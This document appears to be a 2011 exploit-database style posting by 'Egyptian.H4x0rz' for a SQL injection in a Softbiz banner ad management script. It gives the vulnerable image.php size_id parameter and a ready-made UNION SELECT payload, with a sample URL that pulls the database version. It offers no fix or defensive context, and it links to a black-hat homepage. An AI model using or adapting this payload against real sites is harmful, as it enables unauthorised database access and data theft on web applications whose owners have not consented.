20 lines
No EOL
758 B
Text
20 lines
No EOL
758 B
Text
####################################################################
|
|
[+] Exploit Title : Banner Ad Management Script [ Sql Injection Vulnerability]
|
|
[+] Author : Egyptian.H4x0rz
|
|
[+] Contact : SpY(at)Hotmail.Com
|
|
[+] Date : 02-04-2011
|
|
[+] Software Link: http://www.softbizscripts.com/banner-ads-management-script-features.php
|
|
[+] category: Web Apps [SQli]
|
|
[+] HomePage : Black-hat.cc
|
|
####################################################################
|
|
Vulnerability:
|
|
|
|
*SQL injection Vulnerability*
|
|
|
|
[#] http://patch/image.php?size_id=-1+union+select+1,[sqli],3,4,5,6,7,8,9,10,11
|
|
~
|
|
[#] eXample
|
|
http://www.site.com/ad-manager/image.php?size_id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11
|
|
|
|
|
|
#################################################################### |